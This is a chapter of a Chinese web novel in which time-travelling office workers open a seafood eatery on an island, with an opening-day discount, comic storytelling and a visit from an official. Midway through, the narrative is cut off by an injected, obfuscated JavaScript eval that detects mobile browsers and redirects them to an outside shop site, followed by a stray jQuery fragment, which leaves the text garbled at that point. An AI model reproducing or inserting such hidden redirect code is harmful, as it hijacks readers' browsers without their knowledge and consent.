谭思唯嘴皮子是提前打工了,他人也实在,自从揽了宣传这个活儿,还真真儿把这件事记心上了。
每到晌午的时候,赶海回来的村民就会扎堆逛集市,他就拎着周敏敏做好的小食去集市了,谭思唯这上下嘴皮子一碰,花样说辞一套接一套,半点不重样,把朴实无法的岛民说得一愣一愣又一愣。
“各位叔伯婶子,弟弟妹妹们,走过路过别错过啊!咱们陆合食铺,三月初三正式开张,海鲜菜品花样多,甜口咸口全都有,用料实在分量足!今儿先尝尝咱们免费小食,别处根本吃不着这口味!快来试试啊!”
谭思唯觉得集市人流量不行,宣传效果不太好,想了想就钻到渔村里头宣传,碰见坐在门口补渔网的大娘、扛着渔具归家的汉子,全都主动凑上去搭话,递上一小块试吃小吃,顺带宣传铺子。哪怕遇上性子冷淡、不爱搭腔的老人,他也能不急不躁唠上几句家常,三两句就哄得对方哈哈大笑,点头记下陆合食铺开张这事儿。
窝棚这边也没闲着,肖庆欢天天跟着傅雅芝、闫旭一起赶制开业要用的桌椅板凳,碗筷这些东西。
闫旭拆分游船拆下的木板,丈量尺寸、切割打磨,搭建食摊的遮阳棚、长条木桌和矮板凳;傅雅芝一边烧制陶碗陶勺,一边编织竹制餐具,改良简易净水装置,保障后厨用水干净;肖庆欢则充当苦力,搬木料、打磨桌椅、捆绑竹筐,哪里缺人手就往哪里补,昔日坐在办公室吹空调的管理层,如今满手木刺,胳膊晒得黑白分层,老肖心想到,自己怎么可以这么能干,不仅领导力强,动手能力也如此厉害!
转眼就到了三月初三,大吉。
这日,天刚蒙蒙亮。
周敏敏有些紧张,早早一头扎进后厨,清洗石材,把一些能分拣出来的提前布置好;傅雅芝分装净水、清点碗筷;闫旭检查棚子稳固程度,加固桌椅;谭思唯乐呵呵跟他们说,不用紧张,自己反而踱来踱去,大口呼气,锻炼嘴皮子;田言真窜来窜去,帮帮这个,帮帮那个;肖庆欢揣着之前典当首饰换来的碎银,一早跑去村里杂货铺,咬牙买下一挂本地渔民开市专用的红鞭炮。
日上三竿,吉时已到。
肖庆欢攥着鞭炮走到食摊前空地上,把炮仗往木杆上一挂,回头冲忙忙碌碌的五人高声喊:“都往边上站站,吉时到,开市!”
引线点燃,噼里啪啦的鞭炮声响彻整片海滩,红色碎屑随风飘落在木桌与地面上,热闹的声响瞬间吸引了全村大半村民,纷纷好奇地朝着陆合食铺聚拢过来,没一会儿摊前就围得水泄不通,人头攒动,热闹极了。
肖庆欢看着乌泱泱挤满空地的人群,心里又激动又紧张,一时脑子一热,当场转头和身边几人低声快速合计两句。“这么多乡亲捧场,咱们得拿出诚意!今日开业直接打折,吸引大家坐下尝鲜!”
谭思唯一听立刻附和:“可!骨折价,就没人舍得走了,这便宜不得占啊!”其余几人纷纷点头应允。
肖庆欢高兴的大声招呼大家:“各位乡亲,今日咱们陆合食铺正式开业,就图个吉利,咱们今日进店用餐,全场菜品统统五折!”
这话一出,底下村民全都面面相觑,脸上满是茫然,交头接耳互相打听,没人听懂“五折”是什么意思。
有个挎着竹篮的渔妇怯生生开口:“这位小哥,啥叫五折?咱们听不懂城里说法。”
肖庆欢一拍脑门,才反应过来现代词汇古人听不明白,连忙改口:“不好意思,那是我们家乡那边的说法,就是说今天在咱们铺子吃饭,只需要付一半银子!一份菜的价钱,对半减半,划算得很!大家都来试试吗!”
这么一说,大家都明白了,能省钱啊!于是大家都争先恐后往木桌旁挤,纷纷找位置落座,生怕晚一步抢不到座位。
肖庆欢站在店门口,给当起了会计;谭思唯穿梭在桌椅之间,接待大家,引座、报菜名、安抚等待的客人,时不时的还逗人两句,引得村民哈哈大笑。
闫旭有些社恐,想了想还是尽进后厨帮忙吧。他给灶台添火帮周慧慧;傅雅芝帮忙清洗海鲜、分装调料、递送餐具;周敏敏守在铁锅前颠勺翻炒,凉拌海鲜、水煮蟹、竹笋小炒轮番出锅,鲜香味道顺着海风飘出去老远。
前厅人声鼎沸,热闹嘈杂。
田言真看着时间差不多了,可以开始了,她捏了自己胳膊一下,咬了咬牙,不能让大家觉得自己没用,一跺脚,拼了。
从前在公司加班之余,她最大的消遣就是看通俗小说、民间杂谈,上学时还翻完整本《笑林广记》,没事就模仿说书先生表演小段段子,各类市井小笑话、趣味小故事信手拈来。这小故事一讲,岛民肯定吃的更开心了。
田言真找了一块高出地面的木墩,站在棚子正中央,清了清嗓子,抬手轻轻拍了两下木片,清脆声响压住周遭喧闹。
“各位乡亲,大家吃饭之余,我给大伙说两段趣事解解闷,不收一分银子,全当开业添点乐子!”
村民们闻声纷纷抬头,放下手里的碗筷,饶有兴致地看向站在木墩上的姑娘。
田言真开讲第一个段字《瞎子吃鱼》。她一会儿模仿瞎子摸索摸索的动作,一会儿学旁人打趣的腔调,语气抑扬顿挫,把故事里的滑稽桥段演绎得惟妙惟肖,底下村民听得入神,时不时哄堂大笑。
一段讲完,她又接续《瞎子藏鸭蛋》,故事里两个瞎子互相算计、闹出一连串乌龙笑话,逗得满摊客人笑得前仰后合,连后厨抽空歇口气的周敏敏、傅雅芝都停下手里活,侧耳听着。
田言真心想没想到,现代社会I型人格的她,穿越过来,被迫成为E型人格,这个世界终究是颠了。
由于讲的太过投入,她压根没留意食摊角落的一张木桌。
林乘风一身素色常服,混在村民之间,独自坐在不起眼的角落,面前摆着一小碟凉拌海贝,安安静静听着她讲段子。
起初他只是路过,想着开业过来瞧一眼,没料到竟撞见小姑娘站在木墩上说书,趣味十足,神态灵动鲜活,和小心翼翼登门送礼的模样判若两人。
听着听着,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722992|208754||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他没忍住,低声轻笑两声:这姑娘实在有意思,还有这般逗乐旁人的本事。
田言真讲完两段小故事,正好中场歇口气,抬手擦了擦额角薄汗,视线随意扫过全场,一眼就瞥见角落独坐的林乘风。
田言真冲到肖庆欢身边,压低声音提醒:“肖总,林大人来了,就在角落坐着!”
肖庆欢闻言立刻放下手里记账的木炭,招呼谭思唯、闫旭、傅雅芝、周敏敏一同过来,六人并肩走到林乘风桌前,齐齐拱手道谢。
“多谢林大人当初通融,给我们十日试营业的机会,今日铺子才能顺利开张,这份恩情我们记在心里。”肖庆欢特别诚恳的说道。
林乘风抬眼,摆了摆手:“你们若是安分经营,造福岛民,本就是分内之事,无需多礼。”
一旁的周敏敏赶忙说道:“林大人,您稍等片刻,我特意给您单独做一道特色蟹菜,别人桌都没有!”
后厨材料有限,没有现代必备的面包糠,复刻不出正宗避风塘炒蟹,可周敏敏碾碎晒干的海虾干混合细麦粉,搭配蒜末、少许自制酱料翻炒,焖煮入味,最大程度还原酥脆鲜香的口感。
不多时,一盘色泽金黄、香气浓郁的改良版避风塘炒蟹端上桌,蒜香裹着蟹肉鲜气扑面而来。
林乘风拿起竹筷尝了一口,已经好吃的想到跳起来,也是自持冷静坐着,一言不发,就是张嘴吃,身体很是诚实。
夕阳沉入海面,最后一桌村民才尽兴离开,临走前个个夸赞菜品实惠、味道新奇,还不忘称赞田言真的说书有趣,约定明日还要再来。
林乘风待到人群散去,才和六人简单道别,起身离开,走的时候还不忘回头望田言真。
等人都走了,六个人浑身脱力,接二连三瘫坐在木凳上,连抬手的力气都没有。
谭思唯揉着发酸的腮帮子,有气无力哀嚎:“我的嘴皮子今天快说冒烟了,接待一整天客人,现在张嘴都疼。”
闫旭活动着酸痛的胳膊,方才添柴搬重物耗光所有力气:“灶台边守了一天,烟熏得我眼睛发酸,腰跟断了一样。”
傅雅芝揉了揉酸胀的手腕,清洗无数碗筷、分装调料几乎耗尽体力:“来回递餐具、过滤淡水,手上磨出红印,实在扛不住。”
周敏敏靠在灶台边,双腿不停打颤,颠勺翻炒一整天,双腿早已麻木:“站在锅前站了整整半日,现在连路都走不动,胳膊抬不起来。”
田言真嗓子干涩发疼,端起淡水猛灌两口,苦笑出声:“说书说了好几段,嗓子直接哑了,站在木墩上一下午,脚底板全是水泡。”
肖庆欢揉着发酸的手腕,看着众人疲惫不堪的模样,心里也犯愁,拉着几人围坐在一起复盘。
“今天是真的累,没想到创业这么辛苦。”肖庆欢摇摇头,“照今天这个强度,若是天天如此,别说攒银子想办法回现代,不出三五日,咱们几个人先累垮病倒,到时候铺子没人打理,反倒得不偿失。”
这话瞬间戳中所有人的心声,几人纷纷点头认同。